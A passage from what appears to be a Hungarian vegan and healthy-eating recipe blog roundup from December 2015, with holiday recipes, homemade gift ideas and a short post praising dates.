adag, amiről azt kell tudni, hogy teljes értékű fehérjeforrás, kitűnő rostforrás, tele van kalciummal és ötszörös mennyiségű vas van benne, mint a spenótban. Az ételek ízét nem befolyásolja, teljesen semleges ízű. Ár-érték aránya magasan a péksütemények felett áll. Chia puding: 250 ml tej ( opcionálisan zab-,rizs- vagy mandulatejet ) 4 ek. chia mag 1/2 citrom héja ( bio) Meleg alma-mag keverék: 1-2 ek. vaj vagy kókuszolaj 1-2 ek. méz vagy juharszirup 1 nagy alma 50 g napraforgó, 50 g tökmag, 50 g szezámmag 1/2 tk. fahéj csipet őrölt gyömbér csipet só --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- A chia puding hozzávalóit alaposan összekeverjük és hagyjuk állni a hűtőben, hogy a magok megduzzadjanak. A meleg almás keveréket egy teflonos serpenyőben készítjük el. Felolvasztjuk a zsiradékot és rádobjuk az apró kockákra vágott almát a magokkal és a fűszerekkel. 5 percig pároljuk, míg az alma kicsit karamellizálódik, a magok pedig ropogóssá válnak. Ezek után jöhet a rétegezés poharakba. Alulra egy kanál chia puding ( koncentrált erő ), majd néhány kanál natúr joghurt. Mindezek tetejébe az előre elkészített granola, majd a meleg alma-mag keverék. Ha a kamra polcán találunk dugiban lekvárkülönlegességet, azt is vegyük elő. Mondjuk egy cukormentes citromos füge lekvárhoz mit szóltok? Januárban mi így indítottuk az évet. Mit is kívánhatnék ennél többet: chia magban és granolában gazdagot! Tipp: kisebb, zárható üvegben rétegezve magunkkal vihetjük, szorgos munkanapok tízóraijának kitűnő, csak a kanalat ne feledjük otthon. forrás: green kitchen stories
Mézes kukorica saláta ( vegán majonézzel)
Az ünnepek előtt mindig nagyon mozgalmas időszakom van a munkám miatt, ezért szeretem az ünnepi fogásokat is “leegyszerűsíteni” , de az ízekről nem mondok le. A szilveszter legtöbbször családi környezetben zajlik és amíg várjuk az éjfélt szabad szedés van a svédasztalról. Férjem kedvence (volt) a majonézes kukorica saláta. Idén ezt a következőképpen reformáltam meg: Hozzávalók ( 4 – 6 személyre): 1 kg mirelit kukorica 400 ml növényi tejszín ( rizs, vagy zab, – kókusztejszín) 1 evőkanál dijoni mustár 1/2 citrom leve 2 kk himalya só, vagy ízlés szerint 1 dl hidegen sajtolt olíva olaj csipet kurkuma késhegynyi őrölt fehérbors 1 evőkanál akácméz A kukoricát enyhén megsózva puhára pároljuk. Ameddig hűl a kukorica alapunk, elkészítjük a vegán, mézes majonézt. A tejszínt elkeverjük a sóval, borssal, kurkumával, mustárral, citromlével, mézzel és ahogyan a hagyományos majonézt készítenénk folyamatosan adagoljuk hozzá az olíva olajat. Szépen besűrűsödik és enyhén sárgás színe lesz. A kihűlt kukoricához keverjük és jól behűtve tálaljuk. Tálalás előtt szeretem zöldekkel díszíteni, megszórni. Most friss bazsalikom levelet használtam.
Bazsalikomos-fokhagymás krémleves
2015. december 30. Éltető ételek
Gyors és finom... kell ennél több? Mi van kamrában kérdésre ez a finom krémleves lett belőle. Igazán sok dologra nincs szükség, ezek általában vannak is itthon. Hozzávalók: - 6 szép nagy darab krumpli - 1 vöröshagyma - 2 gerezd fokhagyma - 2 szál szárzeller - 1 evőkanál kókuszolaj - 4-5 levél friss bazsalikom, rozmaring - só, bors - 1 kávéskanál házi vegeta - növényi tejszín (én zabkrémet használtam) - pár csepp citrom leve Elkészítése: - A krumplit meghámozzuk, felkockázzuk. A szárzellert és a hagymát felkarikázzuk.Egy lábasba tegyünk kókuszolajat, majd dobjuk rá a zöldségeket és a hagymákat. Kevergessük, pirítgassuk néhány percig, majd öntsük fel vízzel.Fűszerezzük. Ha van zöldfűszer, akkor azt használjuk.Főzzük puhára, majd botmixerezzük krémesre. Ezután öntsünk hozzá kb. 1 dl tejszínt, és forraljuk fel. A végén nyomjunk bele egy kevéske citromlevet.
Sütőtökpite
Szerencsére idén rengetem finom, méz édes sütőtök nőtt a kertemben, amit imádok nyersen, sülve, de még főve is ;) Ma a nyers változat volt soron ;) Hozzávalók: Alap: 35-40 dkg áztatott dió (szárazon ennyi) 15 dkg áztatott szotyi 10 dkg áztatott tökmag 8-10 aszalt, megmosott füge 1 ek kókuszolaj 1 pici tiszta só 1 tk citromlé 1 […]
Teljes kiörlésű tönkölykeksz naranccsal és mandulával
2015. december 25. Élj harmóniában
Karácsonyra még egy nagyon jó kis keksz annak, aki szeretne igazán egészséges kekszet tenni az asztalra. Ez a keksz kevés zsiradékot és kevés datolyacukrot tartalmaz (én rendes cukrot nem is teszek bele) . Aki nem szereti annyira a natúr ízeket, tehet hozzá több édesítőt, illetve a hangulata és az édesség kedvéért lehet porcukrozni. Kivételesen a karácsony miatt én is ezt tettem:) Hozzávalók - 35 dkg teljes kiőrlésű tönkölyliszt - 15 dkg vaj (vegán változatban használj kókuszzsírt) - 4 ek datolyacukor (ha édesre szeretnéd 10 dkg nád vagy datolyacukrot tegyél bele) - 4 ek. datolyaszirup - csipet só - 1 teáskanál szódabikarbóna - 1,2 - ( esetleg 1,7 ) dl folyadék ( a narancs leve + víz) apránként add hozzá, akkor nem tévedhetsz :) - 1 narancs reszelt héja - fahéj, gyömbér , őrölt kardamom Keverd el egy tálban a száraz hozzávalókat, majd add hozzá a narancs levét és a vizet - egy lágy, nyújtható tésztát fogsz kapni. T edd hideg helyre a tésztát egy rövid időre ( 15 - 20 perc ), majd lisztezett felületen nyújtsd és, szaggasd ki belőle a formákat. Tedd sütőpapíros tepsire és 180 fokosra előmelegített sütőben süsd meg. Ha édesre szeretnéd akkor a forró kekszeket szórd meg por nádcukorral. Az kekszek puhák és néhány napig dobozban is tárolhatod őket. Vegyszermentes (bio) alapanyagokat használj!
Mandarinos karácsonyi szelet
Már csak néhányat kell aludni és itt a karácsony. Ezt a süteményt akár karácsonyra is elkészíthetjük, de ráhangolódásnak is kitűnő. Ami pedig a karácsonyi táplálkozásunkat illeti, érdemes figyelnünk arra, hogy minél több rostot, nyers gyümölcsöt, zöldséget fogyasszunk, így elkerülhetjük az emésztési problémákat (talán a súlygyarapodást is). A következő sütemény épp abban segít, hogy ezt megvalósíthassuk, hiszen a csokikrém avokádóból készült, a tészta zabpelyhet, lenmagot tartalmaz, a sütemény tetején pedig nem csak díszítő-elem a mandarin, de a fenti szempont szerint is megállja a helyét. :)
A süteménytészta receptje:
Hozzávalók:
- 10 evőkanál liszt
- 5 evőkanál teljes kiőrlésű liszt
- 5 evőkanál apró szemű zabpehely
- 1 evőkanál őrölt lenmag (3 evőkanál vízben érdemes megáztatni, a kész masszához keverni sütés előtt)
- 3 evőkanál nyírfacukor
- 24 evőkanál növényi tej (lehet, hogy több kell bele, hogy piskóta-állagú tésztát kapjunk)
- 2 evőkanál étolaj
- 1/2 teáskanál szódabikarbóna
- 1 nagyobb csipetnyi mézeskalács fűszerkeverék
Elkészítés:
Egy edényben összekeverjük először a száraz hozzávalókat, majd hozzákanalazzuk a növényi tejet és étolajat. Jól összekeverjük az egészet, az állaga enyhén folyósnak kell lennie, mint egy kevert tésztának. Sütőbe kb 25-30 perc alatt készre sütjük.
A csokikrém receptje:
Hozzávalók:
- 1,5-2 db érett nagy avokádó
- 5 dkg kakaópor (kevesebb karobbal is készíthető!)
- 5 dkg kókuszolaj
- 10 dkg édesítőszer, pl: nádcukor, nyírfacukor, méz, stb, ki mit használ, de meleg vízben áztatott datolya vagy 2-3 nagyon érett banán összetörve is egészségesebb megoldás
- 1 csipet tengeri só
- 1/2 vanília kikapart belseje vagy 1 teáskanál vanília esszencia
Elkészítés:
Vegyük elő a turmixgépet és a fentieket mindet, ebben a sorrendben tegyük bele. Indítsuk el, és hamarosan látni fogjuk hogy milyen fantasztikus krémet kapunk végeredményne k. Olyan krémet, mint a csokitorták csokikrémje. Ha lágyabb krémet szeretnénk, pár csepp vízzel vagy növényi tejjel krémesebb lesz. A kész krémet kb. 1/2 órára érdemes hűtőbe tenni, megdermedés után jobban használható. Amint megdermedt, a sütemény tetejére kenjük, meghámozott mandarin vagy narancsgerezdeket teszünk a tetejére. Szeleteljük, tálaljuk.
Vegán Karácsonyi menü I.
2015. december 18. Gréta konyhája
Szeretném ezen a héten az elmúlt évek legnépszerűbb karácsonyi menüit megosztani veletek. Ez a nagy kedvencünk volt 2013-ban.
Narancsos sütőtökös répaleves
Hozzávalók:
- 500g sütőtök
- 2-3 szál sárgarépa
- 1 nagy szál póré
- 1 narancs leve és héja
- 2 gerezd fokhagyma
- 1 ek reszelt gyömbér
- só, bors, garam masala
- 1.5 l zöldségleves alaplé (3 bio kockából)
- 1 dl kókusztejszín
- kókuszolaj
- friss bors
- csipet friss szerecsendió
- friss korianderlevél
-1 narancs leve
1. 190 fokos előmelegített sütőbe helyezzük a kisebb sütőtök szeleteket, amelyeket előtte alaposan megmostunk, megszárítottunk és sütőpapíros lapos tepsibe tettünk. Kb 45 percig sütjük.
2. Az alatt felkarikázzuk a póréhagymát, és kevés kókuszolajon megdinszteljük, enyhén barnásra pirítjuk. Hozzáadjuk az apróra vágott fokhagymát, és a reszelt gyömbért. Nagyon alacsony hőfokon egy percig összepirítjuk, hozzáadjuk a felkarikázott répát és felöntjük a zöldségleves alaplével, hozzáadjuk a fűszereket. Közepes lángon addig főzzük, míg a répa meg nem puhul.
3. A készre sült tököt kivesszük a sütőből, majd kéz melegen eltávolítjuk a héját, és a leveshez adjuk a kókusztejszínnel együtt. Botmixerrel pürésítjük, majd újra összeforraljuk. Megreszeljük a narancs héjával, tetejére narancslevet locsolunk, friss borssal szórjuk meg, és ha van friss korianderlevéllel.
Gesztenyés karácsonyi sült
Hozzávalók:
- 200g bio gesztenyemassza
- 1 fej hagyma apró kockákra vágva
- 300g barna csiperkegomba
- fél bögre darált dió
- fél bögre darált mandula
- 300g füstölt tofu
- 3 ek szójaszósz
- 2 tk fokhagyma granulátum
- 1 tk fahéj
- csipet reszelt szerecsendió
- fél bögre datolya kimagozva, feldarabolva
- 2 ek vegamix
- 1 tk friss bors
- 3 ek rizsszirup vagy nádcukor
- 15dkg füstölt növényi sajt reszelve
- fél bögre csicseriborsó liszt
- 1 tk majoránna
- 250 g vegán leveles tészta
- 1 csokor aprított petrezselyem
- olíva olaj
- fél dl víz
- fél dl növényi tejszín
1. Egy mélyebb tapadásmentes serpenyőben olívaolajon megdinszteljük a hagymát, majd beletesszük egy aprítóba
2. Ugyanabban a serpenyőben lassú tűzön barnára pirítjuk a gombákat, megborsozzuk, majd ezt is az aprítóba tesszük, a tofuval együtt. A masszát kitesszük egy tálba
4. Az aprítóba tesszük a feldarabolt datolyákat, a csicseriborsó lisztet, a mandulát, a diót, a gesztenyemasszát , a fűszereket és a petrezselymet. Alaposan pár perc alatt összedolgozzuk. A két masszát is összegyúrjuk.
5. 15 perccel a felhasználás előtt vegyük ki a leveles tésztát a hűtőből, egy lisztezett gyúródeszkára helyezzük, és a közepére halmozzuk rúd formában a gesztenyemasszát. A közepébe hosszanti mélyedést vájjunk, majd beleszórjuk a reszelt növényi sajtot.
6. Óvatosan elkezdjük betekerni a masszát úgy, hogy alul legyen a záródása. Felül megkenjük a növényi tejszínnel, és megszórjuk kakukkfűvel. Egy szilikontepsibe, vagy püspökkenyér formába helyezzük, diagonál irányban beirdaljuk, majd légkeveréses sütőben 200 fokon fél óráig sütjük, vagy míg aranybarna nem lesz. Mellé rakhatunk steak burgonya, vagy rozmaringos édesburgonya hasábokat.
Három rétegű csokis brownie
Hozzávalók:
- 1 és fél bögre nádcukor (Demerara vagy Muscovado)
- másfél csésze fehér tönköly liszt
- 10 ek cukrozatlan jó minőségű kakaópor
- 2 tk foszfátmentes sütőpor
- 1 tk szódabikarbóna
- 3/4 csésze növényi tej (lehet szója-, zab-, rizs-, vagy kókusztej is)
- 1/2 csésze olvasztott kókuszolaj
- 1 tk himalaya só
- 1 tk vanília aroma
- 1 és 3/4 csésze melegvíz
A sütőt előmelegítjük 165 fokra.
1. 1 csésze nádcukrot, a lisztet, sütőport, 5 ek kakaóport és a szódabikarbónát és a sót alaposan összekeverjük.
2. Egy másik tálban a nedves anyagokat (a növényi tejet, a vanília aromát és kókuszolajat) keverjük össze homogénné, majd a nedveset összekeverjük a szárazzal, lassan adagolva, alaposan összedolgozzuk. Nem baj, ha nem lesz folyós. Olyan vajkaramella sűrűségű.3. Egy szilikon sütőformába öntjük, és egyenletesen eloszlatjuk.
4. A megmaradt fél csésze cukrot és a megmaradt 5 ek kakaóport összekeverjük, majd mindenhová eloszlatva rászórjuk a csokis massza tetejére.
5. Leöntjük a tetejét forró vízzel, és betoljuk a sütőbe 50 percre. De ellenőrizzük tűpróbával.
A végeredmény, ha kihűlt egy három rétegű(piskóta, ropogós és egy pudingos) sütemény lesz. Vigyázzunk, hogy ne süssük túl sokáig, mert akkor kiszárad és nem less annyira folyós.
Tipp: Lehetőleg mélyebb tepsiben süssük a víz miatt, mert előfordulhat, hogy a bugyogó csokis massza kifolyik és a sütő aljára ég-ragad. Vegán vanília, vagy bármilyen gyümölcs sorbet-vel is isteni desszert.
6 készítsd magad ajándékötlet
2015. december 18. Gréta konyhája
Ha Téged is kikészít a bevásárlóközpontokban most tapasztalható megőrülés.
Ha szeretnél magad készítette ajándékot adni szeretteidnek.
Ha hasznos ajándékot szeretnél adni, de nem szeretnél sokat költeni, akkor olvass tovább.
1. Sütikeverék üvegben, vagy befőttes üvegben.
ez simán lehet akár mondjuk egy gluténmentes kenyérmix gluténérzékeny családtagnak, barátnak, vagy kedvenc reggelizőpelyhed szárazon összeállítva mondjuk egy olyan embernek, aki egészségtelenül étkezik, így finoman utalva és ellenállhatatlan köntösbe csomagolva olyan reggelit, aminek nem fog tudni nemet mondani. ilyenkor érdemes pár adagnyit készíteni, mondjuk egy szép üvegbe, és hozzávalók szerint, megfelelő arányban, ízlésesen rétegezve.
2. Karácsonyi sütisdoboz
karácsonykor sütit sütünk és minden bűntudat nélkül megesszük. ha nincs ötleted mit ajándékozz kollégáidnak, esetleg főnöködnek, vagy gyermeked óvónéniének, nagyszerű meglepetés lehet, különféle kekszek, aprósütemények elrendezése, egy szép, karácsonyi csomagolópapírral bevont dobozba. erre bármilyen doboz alkalmas, de figyeljünk, hogy karácsonyi hangulatot árasszon, és ügyesen válasszuk el a különböző színű, és formájú sütiket egymástól.
3. Fahéjas narancsos cukornád testradír
ki ne örülne egy testradírnak, ami narancsos fahéjas karácsonyi cukorkás-sütiillatot áraszt, gyönyörű üvegben van, és a bőre pihe puha lesz tőle?!
így készítsd el:
3/4 bögre barna nádcukor
3 ek őrölt fahéj
2 ek mandulaolaj
2 ek jojoba vagy sárgabarackmag olaj
5 csepp 100%-os tisztaságú narancsolaj
2 tk tiszta só
a cukrot a sót és a fahéjat külön elkeverjük, majd hozzáadjuk az olajakat. egyenletesen összedolgozzuk, majd szépséges üvegekbe töltjük, és karácsonyi hangulatú szalaggal átkötjük.
4. Egyedi Fűszerkeverékek
amikor elkészítek egy ételt, sokszor rögtönözöm a fűszerek összetételét, arányát, és hangulatát, mintegy varázslat olyan ez. sokan kérdezik miket hogyan használok, és biztosan Ti is vagytok így ezzel. vannak kedvenc fűszerkeverékeim, amit magam állítok össze, így arra gondoltam mások is örülnének, ha megkapnák ezeket, legalább karácsonykor :))
berakhatjátok zacskóba, vagy a jól bevált befőttes üvegekbe, de pl nagyon szépen mutat egy üres fűszereskészletben is, általunk szeretettel összekeverve, és saját készítésű címkékkel ellátva.
lépjünk ki a só, bors, paprika árnyékából, szabaduljunk be egy keleti fűszereshez, és bízzuk a fantáziánkra az összeállítást.
5. Szószok, csatnik, lekvárok, fűszeres olajok, ecetek.
ezekkel az ajándékokkal nem lehet melléfogni. Sós-mogyorós karamellaszósz, fokhagymás zöldfűszeres olajok, levendulás balzsamecet, vagy egy birsalma csatni ünnepi köntösben mindenkinek csodálatos ajándék lehet.
6. Trüffelgolyók dobozban
észrevettem, hogy ezzel nem lehet hibázni. senki nem tud ellenállni egy superfood zöld goji, vagy matcha golyónak, aszalt gyümölcsös kókuszgolyónak pelyhekbe, mákba, dióba forgatva, karobbal, kakaóval meghintve. 10 perc alatt elkészíthető, de annál csodálatosabb ajándékok édesszájú szeretteiteknek. lejjebb görgetve nálam legalább 3-4 féle ilyen golyót találhattok. tegyétek magatok festett, vagy készített szalagos karácsonyi dobozokba, és a hatás nem marad el.
Egyszerű kókuszos zabpelyhes keksz
2015. december 16. Élj harmóniában
Zabpelyhes kekszEgy igazán finom kis kekszféle és nagyon egyszerű az elkészítése is, még csak nyújtani és szaggatni sem kell:) Mindig gyorsan elkészíthető és biztos siker. Hozzávalók: 20 dkg teljes kiőrlésű tönkölyliszt (lehet búzaliszt vagy graham liszt is) 20 dkg vaj 15 dkg apró levelű zabpehely 15 dkg barna nádcukor 10 dkg kókuszreszelék 1 tk. sütőpor víz Egy tálba keverd ki a vajat a cukorral, majd keverd hozzá a többi száraz hozzávalót, végül apránként tegyél hozzá egy pici vizet - kb. 1 dl . Olyan állagú lesz az eredmény, ami masszaként jól formálható, nem ragad, nem folyik. Kis gombócot vegyél ki a masszából és a tenyereid között lapítsd ki vagy a tepsiben egy kanállal, vagy pohár segítségével. 180 fokra előmelegített sütőben süsd készre. (kb. 15 perc) Vegyszermentes (bio) alapanyagokat használj!
Mákos beigli nyersen
Gyümölcslap helyett, most hajdinacsírából készítettem a tésztát, és… nem bántam meg ;) Valami isteni :D Hozzávalók a tésztához: 1 csészényi nyers, áztatott hajdina (nem pirított!) 1 csészényi nyers, áztatott dió 1/2 csészényi nyers, áztatott szotyi 8-10 db áztatott datolya, és pici leve 1 leheletnyi só 1/2 bio citrom leve 1 kk vanília 1 ek kókuszolaj […]
Spenótos-fokhagymás krumplipüré pácolt-grillezett padlizsánnal, sárgarépával
2015. december 14. Éltető ételek
Karácsonyi főpróba? Talán igen :) Mindenesetre nagyon finom lett, lehet, hogy ez lesz a nyerő a menü összeállítása során. Amennyiben nem szereted a padlizsánt, nyugodtan készíts mellé például rozmaringos sült gombát. Az emésztést nagyban elősegítjük egy jó nagy adag ruccolával. :) Hozzávalók (4 adag): Spenótos-fokhagymás krumplipüré - kb. 1,5 kg burgonya - só, bors - 1 fej sült fokhagyma - 5 dkg bio vaj - 4 marék spenót - 2 gerezd fokhagyma - 1 teáskanál kókuszolaj - A krumplit hámozzuk meg, majd kockázzuk fel. Tegyük fel főni, adjunk hozzá 2 teáskanál sót.Közben egy serpenyőbe melegítsünk 1 teáskanál kókuszolajat, és dobjuk rá a megmosott/összetépett spenótot. Reszeljünk bele 2 gerezd fokhagymát. Sózzuk, borsozzuk.Amikor megfőtt a krumpli, öntsük le róla a levét. Adjuk hozzá a sült fokhagymát (természetesen szedjük ki a héjából), a vajat és a megdinsztelt fokhagymás spenótot. - Botmixerezzük össze.Pácolt padlizsán és sárgarépa - 2 padlizsán - 3 sárgarépa pác: - 4 evőkanál olívaolaj - 3 gerezd fokhagyma - só, bors, füstölt pirospaprika A zöldségeket szeleteljük fel (a sárgarépát kifejezetten vékonyra), majd egy ecsettel kenjük be a padlizsánokat a páccal. A sárgarépát keverjük össze a megmaradt páccal, és hagyjuk állni úgy fél-1 órát.A padlizsánnak mindkét oldalát előmelegített, grillezett sütőben süssük meg, a sárgarépát pedig kerámia serpenyőben pirítsuk meg.
Mit adjak karácsonyra?
Teszik fel sokan a címben szereplő kérdést. Napjainkban az ajándékozás egyre inkább a pénzről szól (persze vannak kivételek). Vajon egyénenként hány órát töltünk azzal, hogy üzleteket járunk, keresve a legmegfelelőbb ajándékot. Miért ne készíthetnénk mi, a saját kezünkkel (gasztro-) ajándékot, ha csak lehet?
Blogomról összegyűjtök néhány ötletet (10 alaprecept) ami segíthet az elindulásban, a további ötletelésben, hiszen senkinek nem szükséges ragaszkodnia az adott recepthez, attól el is térhet. Gyorsan, pár perc alatt elkészíthető ajándékokat és hosszasabb készületet igénylő meglepetéseket is bemutatok. Címükre vagy a képre kattintva az eredeti recepthez jutsz.
Aszalt paradicsom fűszeres olajban
Csempészd az olaszok napsütötte Toszkánját a fa alá a következő ajándékkal, amihez nem kell sok minden, de jó minőségű alapanyagokkal olaszos ételek ízvilágát idézheted fel.
Tipp: Ha kiváló minőségű olíva olajjal készíted, és nem fele-fele napraforgó olajjal, akkor még finomabb lesz. A babérlevelet is kihagyhatod. A kakukkfű helyett használhatsz bazsalikomot és/vagy oreganót.
?
Csilis olaj
Nem feltétlen gasztronómiai céllal ajánlom, úgy veszélyes lehet. Ellenben reumás panaszokat enyhíthet. Persze nem belsőleg fogyasztva. Ha mégis ételhez kevernénk, mindig csak csepegtessük a levesbe/szószba.
Tipp: Felmelegített méhviasszal, vagy kenhető állapotú kókuszzsírral a csilis olajjal és néhány csepp illóolajjal - pl. fahéj, narancs - összekeverve masszázskrémet kapunk, amivel a fájdalmas területet rendszeres alkalmanként bemasszírozva enyhülést érhetünk el. Ha masszázsra adjuk ajándékba, adjunk hozzá egy üveg ásványvizet is, így biztos nem felejti el az ajándékozott, hogy masszázs előtt és után bőséges vízfogyasztás szükséges a megfelelő hatás elérésére.
?
Fűszeres olaj
Fűszereket szabadon válogatva készítheted el ezt az ajándékot. Legtöbb háziasszony bizonyára használni tudja, legyen vegán, vegetáriánus, paleo, gluténmentes, vagy mindenevő. Pirítós kenyeret különlegesen megízesíti, ha fűszeres olajjal kenjük meg (vaj vagy margarin helyett). Persze főtt krumplit is meglocsolhatunk vele, de salátáknak is finom ízt adhat attól függően, hogy milyen fűszereket választunk.
Tipp: Ajándékozás előtt néhány nappal érdemes elkészíteni, de ha időnk csak úgy engedi, az utolsó pillanatban is gyorsan készen leszünk vele, ha van otthon fűszerünk - friss fűszerek előnyben.
?
Ételízesítő házilag
A legtöbb háztartásban nem is nézik meg, hogy mi mindent tartalmaz a Vegeta vagy a Delikát. Pedig nem árt szembenézni a ténnyel, hogy az átlag-emberek mennyi mérget visznek be akár általuk is a szervezetükbe.
Tipp: Mi is készíthetünk ételízesítőt, s ha önmagunk nem tudunk zöldségeket aszalni és aprítani hozzá, bioboltokban, Herbaházban biztos találunk szárított zöldségeket. Ehhez már csak kurkuma, só és persze egy jó aprító, vagy kávédaráló és egy csinosabb üveg szükséges.
?
Mandarin lekvár
Decemberben már elég jól lemegy a mandarin ára ahhoz, hogy elkészítsük, néhány kilónyi mandarin ugyanis szükséges hozzá. Készüljünk fel rá, hogy enyhén fanyar íze van, főleg melegen. Viszont egy reggeli pirítósra kenve királyoknak járó ízekben lehet része mindannak, aki kóstolja. :)
Tipp: Hűtve a legfinomabb, ezért érdemes időben elkészíteni és hideg helyen, pl. hűtőben vagy pincében tárolni.
?
Rusztikus kalózkenyér
Eddig akárhányszor készítettem el ajándékba, mindig nagy sikere volt. Kenyérre ugyanis mindig szükség van, sőt, ha tele van aprított magvakkal, akkor különösen gyorsan elfogy. Elkészíthetjük gluténmentesen is, ha úgy alkalmas.
Tipp: A kenyér törzse köré karácsonyi hangulatú szalvétát vagy csomagolópapírt tekerve még dekoratívabb az ajándékunk.
?
Kókuszgolyó
Határozottan egészségesebb, nincs köze se kávéhoz, se darált-kekszhez, viszont sok-sok aszalt gyümölcsöt tartalmaz, ezért aztán egy igazi energia-bomba. További bon-bon-mánia esetén találsz még a blogon néhány ötletet:
Nyers energia-bonbon
Szív alakú aszalt gyümölcsös bonbon csokiborítással
Tejberizzsel töltött ostyagolyó
Tipp: Szép kis dobozba, bon-bon papírba helyezve nem csak a szájnak, de a szemnek is kellemes élmény lesz! :)
?
Kelt kakaós-csíkos kalács
Egy csinos kis kalács kenyérformában vagy koszorú/kuglóf formában megsütve mutatós finomság. Nagyszüleink idejében, mikor én még igazán kis unoka voltam, a karácsonyfára elsősorban "ezüst"papírba burkolt diót, almát tettek a fára. A fa alá kerülhetett a finom kelt kalács, vagy folyós kakaóval, mákkal töltve, vagy kakaós-fehér tésztával felcsavarva.
Tipp: Ha koszorúformában sütöd meg, közepébe egy piros almát tehetsz, az egészet pedig masnival átkötve tetszetős ajándékot tudsz átadni.
?
Téli fagyi
Kicsit macerás elkészíteni, mivel időigényesebb, de nem annyira nehéz. Kedvünkre variálhatjuk, hogy mogyorós, kókuszos külsőt adjunk a "gombócoknak". Ez nem az a téli fagyi, aminek lágy, folyósabb a belseje.
Tipp: Dekoratívabb lesz az ajándék, ha egy szép külsejű dobozba csomagoljuk. Ha egymásra többet tennénk, zsírpapírral vagy színes kartonpapírral elválaszthatjuk a szinteket.
?
Élesztő- és gluténmentes pogácsa
Az utolsó, 10. gasztro-ajándék receptem pedig a sós ízeket kedvelők számára kedvez. Mivel gluténmentes, élesztőmentes, hiszen gondolnunk kell azokra is, akik diétára kényszerülnek karácsonykor is, vagy eleve állandó helyzetükből adódóan nem fogyaszthatnak pl. glutént.
Tipp: Átlátszó zacsiba vagy organzából készített kis zsákocskába is teheted, tetejét egy színes szalaggal átkötve.
A datolya hatásai
2015. december 10. Élj harmóniában
DatolyaA datolya (az én egyik kedvencem), már az időszámítás előtti időkben is nagy népszerűségnek örvendett. Az egyik legősibb és az egyik legjobb egészségre gyakorolt hatású gyümölcs. Szerencsére friss és szárított változatban, szinte hasonló tápértékkel rendelkezik. Magas az ásványi anyag és nyomelem és vitamin tartalma. Sok káliumot, vasat, nátriumot, foszfort, A, B, C és D vitamint tartalmaz. A szervezetet kitűnő energiával látja el, jól lehet hasznosítani sportolásnál, kimerültségnél vagy ha csak nagyon álmosnak érzed magad. Javítja az erőnlétet, állóképességet. Nagyon jó idegkimerültségnél és legyengült állapotban is, roborálja a szervezetet. Nyugodt alvást biztosít, mert szerotonin termelést okoz. Magas rosttartalmának köszönhetően, serkenti az emésztést, helyreállítja a bélmozgást, megszünteti a székrekedést. Nagyon magas a vastartalma és C vitamint is tartalmaz, így vérszegénység esetén kiváló terápia a rendszeres datolyafogyasztás. A datolya egészségesen tartja a szívet és segít a koleszterin szint csökkentésében is. A datolya az egyik legédesebb gyümölcs, ezért használják szárítva ledarálva - datolya cukorként ételek ízesítésére, édességek elkészítésére. A blogon elég sok receptben láthattátok. Én minden nap lefekvés előtt elfogyasztok néhány beáztatott datolyát:) Vegyszermentes (bio) datolyát egyél :) Néhány datolyával készült recept a blogról: http://eljharmoniaban.blogspot.hu/2015/08/kokuszos-datolyagolyo-egeszseges.html http://eljharmoniaban.blogspot.hu/2015/06/hazi-keszitesu-egyszeru-cukormentes.html http://eljharmoniaban.blogspot.hu/2015/12/glutenmentes-laktozmentes-cukormentes.html
Aszaltgyümölcsös müzliszelet
2015. december 6. Éltető ételek
Újabb felvonása érkezett el a müzligyártásnak. Ez volt a kiindulási recept, bár nem volt itthon mogyoró és kókuszreszelék sem. Az arányokon is változtattam, kevesebb édesítőszer került bele. Jól összeállt, finom lett... holnap ez kerül az uzsonnás dobozba. :) Hozzávalók: - 7 dkg aprószemű zabpehely - 7 dkg nagyszemű zabpehely - 2 evőkanál szezámmag - 7 dkg napraforgó - 7 dkg dió durvára törve - 9 dkg méz - 4 dkg kókuszvirágcukor - 5 dkg kakaóvaj - 6 csepp narancsolaj - 3 dkg aszalt áfonya - 3 dkg arany mazsola Elkészítése: - A zabpelyheket és az olajos magokat tegyük be egy tepsibe, és 170 fokon pirítsuk meg. Gyakran kevergessük, nehogy megégjen. Amikor már kezd illatozni, akkor már jó. - A mézet, a kókuszvirágcukrot és a kakaóvajat kis tűzön olvasszuk össze. A kókuszvirágcukor is olvadjon fel teljesen. - A pirított magos zabot öntsük a mézes masszához. Cseppentsük bele a narancsolajat és a pici darabokra vágott aszalványokat is adjuk hozzá. - Jól keverjük össze. - Egy 20x10 cm-es tepsibe tegyünk zsírpapírt, és jól nyomkodjuk bele a masszát. Még melegen csináld (de vigyázz, hogy ne süsse meg a kezedet). Jó alaposan tömöríteni kell, különben nem lesz szeletelhető. - Hagyjuk teljesen kihűlni, majd szépen szeletelhető lesz,
téli vitaminsaláta - Sült cékla és sütőtök, pirított kelbimbóval narancsosan (gluténmentes, laktózmentes, tojásmentes, vegán)
2015. december 4. Zöld Avocado
téli vitaminsaláta - Sült cékla és sütőtök, pirított kelbimbóval narancsosan (mindenmentes, vegán) A média telis tele van jobbnál jobb karácsonyi étel és sütemény recept ötletekkel. Személy szerint valahogy nem érzek rá késztetést, hogy előre gyártsak karácsonyi ételeket... Nálam az ünnepi ételek az ünnepnapokon készülnek el, és azt sem tudom garantálni, hogy közben fotózásra is kerítek sort, miközben a szeretteimmel élvezzük a Karácsony melegét és ízeit. Így azoknak, akik már alig várják a karácsonyi recepteket a Zöld Avocado vegetáriánus gasztroblogon, csalódást fogok okozni, mert nem ígérhetek ünnepi recept dömpinget! Egy - két korábbi recept a tavalyi évből, az idén is jól jöhet. Pl.: tápláló krémlevesnek egy mandarinos-gyömbéres sárgarépa vagy egy klasszikus brokkoli , diósült vagy tofus fasírtgolyók hús helyett, reform aranygaluska és narancsos kuglóf az édes ízek kedvelőinek, túrós kakaós zabpalacsinta "havas fenyők" mintájára formázva, a kihagyhatatlan vendégváró muffinok, vagy egy könnyed desszert a nehéz lakoma után, nyers mákos tekercsként. Azonban az ünnepekig is enni kell valami táplálót és gyorsan elkészíthetőt. Valami egészségeset, ami feltölt minket energiával, biztosítja a szükséges tápanyagokat, a tél ellenére szép, színes és szemet gyönyörködtető, ízletes, és elkészítése közben van időnk egy-egy ajándék becsomagolására, mert nem igényel túl sok őrizetet a tűzhely mellett állva. Fogadjátok hát sok szeretettel az egyik kedvenc téli vitaminsalátámat, mely eddig az egyetlen étel, amiben hajlandó vagyok a kelbimbót elfogyasztani! ;-) téli vitaminsaláta - Sült cékla és sütőtök, pirított kelbimbóval narancsosan (mindenmentes, vegán) Tudom, hogy rendkívül egészséges téli káposztaféle, mégis ezidáig nem sikerült olyan recepttel találkoznom, ami elnyerte volna a tetszésemet. Hosszasan 